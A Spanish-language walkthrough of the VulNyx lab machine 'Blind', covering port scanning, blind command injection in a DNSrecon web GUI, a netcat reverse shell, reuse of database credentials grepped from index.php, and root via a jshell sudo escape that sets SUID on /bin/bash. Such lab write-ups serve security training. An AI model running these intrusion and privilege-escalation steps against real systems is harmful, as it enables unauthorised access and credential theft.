Information

Blind es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

root@kali:~  nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.56
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-31 12:13 +0100
Nmap scan report for 192.168.1.56
Host is up (0.00047s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
root@kali:~  nmap -sVC -p80 192.168.1.56
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-31 12:14 +0100
Nmap scan report for 192.168.1.56
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.66 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry 
|_/dnsrecon-gui
|_http-server-header: Apache/2.4.66 (Debian)

Shell (microjoan)

80/TCP (HTTP)

Site

En el escaneo inicial de nmap, se detecta mediante el script NSE http-robots.txt la ruta /dnsrecon-gui en la directiva disallowed.

| http-robots.txt: 1 disallowed entry 
|_/dnsrecon-gui

Site (/dnsrecon-gui)

En el sitio web se encuentra DNSrecon-gui, que no es más que dnsrecon con una interfaz gráfica implementada en PHP.

Command Injection

Intento inyectar un comando en el input de la aplicación, sin éxito.

Blind Command Injection

Al no observar la salida del comando, no podemos descartar una inyección de comandos, ya que podríamos estar ante un caso blind.

Si juego con los tiempos utilizando un sleep, parece que sí resulta vulnerable.

Reverse Shell

Una vez confirmada la inyección de comandos, intento obtener una reverse shell.

Obtengo la shell como usuario microjoan

root@kali:~  nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.56] 49394
id ; hostname
uid=1000(microjoan) gid=1000(microjoan) groups=1000(microjoan)
blind

Privilege Escalation

Enumeration

Files

En una variable encuentro credenciales almacenadas en /var/www/html/dnsrecon-gui/index.php.

microjoan@blind:/$ grep -iE 'user|pass' /var/www/html/dnsrecon-gui/index.php 
    $db_user = "microjoan";
    $db_pass = "microP@zz";

Sudo

Al revisar privilegios mediante sudo se solicita un password

microjoan@blind:/$ sudo -l
[sudo] password for microjoan: 
Credential Reuse

El usuario microjoan puede ejecutar como root el binario jshell con sudo

microjoan@blind:/$ sudo -l
[sudo] password for microjoan: 
Matching Defaults entries for microjoan on blind:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User microjoan may run the following commands on blind:
    (root) PASSWD: /usr/bin/jshell

Abuse

En GTFOBins se proporciona la secuencia de shell-escape para abusar de esto.

Runtime.getRuntime().exec(“/path/to/command”);

Asigno permisos SUID (4755) a /bin/bash y me convierto en usuario root.

microjoan@blind:/$ sudo -u root /usr/bin/jshell 
|  Welcome to JShell -- Version 17.0.17
|  For an introduction type: /help intro

jshell> Runtime.getRuntime().exec("chmod 4755 /bin/bash");
$1 ==> Process[pid=872, exitValue="not exited"]

jshell> /exit
|  Goodbye

microjoan@blind:/$ /bin/bash -pi
bash-5.2# id ; hostname
uid=1000(microjoan) gid=1000(microjoan) euid=0(root) groups=1000(microjoan)
blind

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

bash-5.2# find / -name user.txt -o -name root.txt 2>/dev/null | xargs cat
31c*****************************
ccb*****************************

Hasta aquí la resolución de la máquina Blind.

Happy Hacking!